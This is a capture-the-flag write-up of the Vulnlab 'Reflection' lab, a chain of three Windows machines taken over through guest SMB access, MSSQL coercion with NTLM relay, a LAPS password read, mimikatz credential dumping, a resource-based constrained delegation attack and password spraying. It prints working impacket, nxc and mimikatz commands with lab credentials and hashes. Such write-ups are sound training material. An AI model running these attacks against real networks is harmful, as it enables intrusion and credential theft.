Reflection is a chain of 3 Windows machines: MS01 , WS01 and DC01. Initial access is via an SMB connection to MS01, which provides credentials to access an MSSQL database. These are used to retrieve the database’s service account and, using an NTLM Relay attack, to access the DC’s prod share, which contains the credentials of abbie.smith, a domain account. As this account has GenericAll rights on MS01, it can read the LAPS password and retrieve the credentials of the Georgia.Price account on the machine. As this account has GenericAll rights on WS01, it can compromise the machine with a RCBD attack and retrieve the credentials of Rhys.Garner, which are reused for the DOM_RGARNER account, a domain administrator account.

BDD access

To start with, I ran an nxc scan to identify the machines on the domain, which revealed that none of the machines had SMBv1 and the signature enabled

I then noticed that the guest account had not been deactivated on MS01 and that it had read rights on the staging share.

In SMB, when you try to authenticate with a domain account, if authentication fails, SMB automatically tries to authenticate with a local account with the same name, which in our case is the guest account.

When we try to authenticate with a user that doesn’t exist, the machine automatically assigns us the guest account if it’s enabled.

Thus, using the guest account enabled me to access the machine’s shares and retrieve identifiers from a database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ impacket-smbclient reflection.vl/guest:''@10.10.240.86
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use staging
# ls
drw-rw-rw- 0 Thu Jun 8 07:21:36 2023 .
drw-rw-rw- 0 Wed Jun 7 13:41:25 2023 ...
-rw-rw-rw- 50 Thu Jun 8 07:21:49 2023 staging_db.conf
# cat staging_db.conf
user=web_staging
password=Washroom510
db=staging

Use sqsh (or impacket-mssqlclient) to access the database

1
sqsh -S 10.10.240.86 -U web_staging -P 'Washroom510'

This database contains some identifiers, but after verification, none of them are valid.

MSSQL Coercition

With the credentials I’d retrieved earlier, I then tried coercion with mssql.
This type of attack exploits certain system procedures that allow SQL Server to access UNC paths (network shares) on another machine.
In fact, SQL Server has several procedures such as :

  • xp_dirtree
  • xp_fileexist
  • xp_subdirs
    These procedures are used to list folders or verify the existence of files. For example, if you provide them with a UNC path to a network share, you can retrieve the NTLMv2 hash of the password for the service account used by the DB.

This can be achieved using the nxc module mssql_coerce:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/ctf/vulnlab/reflection]
└─$ nxc mssql 10.10.240.86 -u 'web_staging' -p 'Washroom510' --local-auth -M mssql_coerce -o L=10.8.6.80
/usr/lib/python3/dist-packages/pypykatz/_version.py:16: SyntaxWarning: invalid escape sequence '\.'
///(( /////\. @/@@@@@@@@@
[-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/wam.py: No module named 'dploot.triage.wam'
[-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/rdcman.py: cannot import name 'RDGServerProfile' from 'dploot.triage.rdg' (/usr/lib/python3/dist-packages/dploot/triage/rdg.py)
/usr/lib/python3/dist-packages/masky/core.py:108: SyntaxWarning: invalid escape sequence '\{'
f "Start processing PFX of the user '{user_data.domain}\{user_data.name}'"
/usr/lib/python3/dist-packages/masky/core.py:112: SyntaxWarning: invalid escape sequence '\{'
f "Fail to process gathered certificate related to the user '{user_data.domain}\{user_data.name}'"
/usr/lib/python3/dist-packages/masky/core.py:116: SyntaxWarning: invalid escape sequence '\{'
f "End processing PFX of the user '{user_data.domain}\{user_data.name}'"
/usr/lib/python3/dist-packages/masky/lib/smb.py:105: SyntaxWarning: invalid escape sequence '\{'
err_msg = f "The user {self.__domain}\{self.__username} is not local administrator on this system"
/usr/lib/python3/dist-packages/masky/lib/smb.py:108: SyntaxWarning: invalid escape sequence '\{'
err_msg = f "The provided credentials for the user '{self.__domain}\{self.__username}' are invalids or the user does not exist"
/usr/lib/python3/dist-packages/masky/lib/smb.py:295: SyntaxWarning: invalid escape sequence '\p'
np_bind = f "ncacn_np:{target_host}[\pipevcctl]"
/usr/lib/python3/dist-packages/masky/lib/cert/auth.py:428: SyntaxWarning: invalid escape sequence '\{'
f "Gathered NT hash for the user '{domain}\{username}': {nt_hash}"
MSSQL 10.10.240.86 1433 MS01 [*] Windows Server 2022 Build 20348 (name:MS01) (domain:reflection.vl)
MSSQL 10.10.240.86 1433 MS01 [+] MS01\web_staging:Washroom510
MSSQL_CO... 10.10.240.86 1433 MS01 [*] Commands executed successfully, check the listener for results

With ntlmrelayx, you can relay authentication to other servers and obtain an SMB sock

Recovering domain accounts

With the socks established thanks to the previous attack, I was able to list the shares of the other machines on the network and discovered that I had read rights on the DC’s prod share.

I was thus able to access this share and retrieve other DB identifiers

This allowed me to access the database on the DC and retrieve identifiers.

After verification, these credentials are those of two domain accounts.

LAPS Password

Next, I used the recovered domain accounts to map the domain with bloodhound. I then identified that the Abbie.smith account had GenericAll rights on the MS01 machine. On the other hand, since you can’t control an account with SPN, it’s impossible to perform an RCBD attack.

Continuing our analysis of the bloodhoun, we can see that the MS01 machine uses LAPS.


As the account we’re controlling has the right to read any attribute of the MS01 machine account, we can retrieve the password of the machine’s adminitrator account by reading the ms-MCS-AdmPwd attribute.

This allowed me to compromise the machine.

Enumeration of MS01

Then, with the administrator account, I accessed the machine via RDP and launched mimikatz.

I started by elevating my privileges to have full rights on the machine.

1
2
3
4
5
6
7
8
9
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

580 {0;000003e7} 1 D 27307 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;006f4c2a} 2 D 9753300 MS01\Administrator S-1-5-21-1123338414-2776126748-2899213862-500 (14g,24p) Primary
* Thread Token : {0;000003e7} 1 D 9982226 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)

Next, I listed the passwords stored in the vaults, which enabled me to retrieve the password for the account georgia.price, an account used in a scheduled task.

1
vault::cred /patch

RCBD attack

Next, I analyzed the rights of the account I had just compromised and identified that this account had GenericAll rights on WS01.

So, with these rights, I was able to carry out a RCBD attack by first adding MS01 to WS01’s trusted list

1
impacket-rbcd -delegate-from 'MS01$' -delegate-to 'WS01$' -action 'write' 'reflection.vl/georgia.price:DBl+5MPkpJg5id' -dc-ip 10.10.128.21

I was then able to retrieve a ticket allowing me to impersonate the domain administrator on the WS01 machine

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/ctf/vulnlab/reflection]
└─$ impacket-getST -spn 'cifs/ws01.reflection.vl' -impersonate 'administrator' 'reflection.vl/MS01$' -hashes aad3b435b51404eeaad3b435b51404ee:b0a772d82f43e209236ab88a6a196c2a -dc-ip 10.10.128.21
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@[email protected]

After importing the ticket to my session, I was able to compromise the 2nd machine

1
2
┌──(kali㉿kali)-[~/ctf/vulnlab/reflection]
└─$ export KRB5CCNAME=administrator@[email protected]

Password Spraying

With administrator access restored, I was able to extract the LSA database from the machine and retrieve the password for the Rhys.Garner account.

I then performed password spraying on all the domain accounts, which enabled me to identify that the recovered password was reused for the dom_ragner account, a domain administrator account.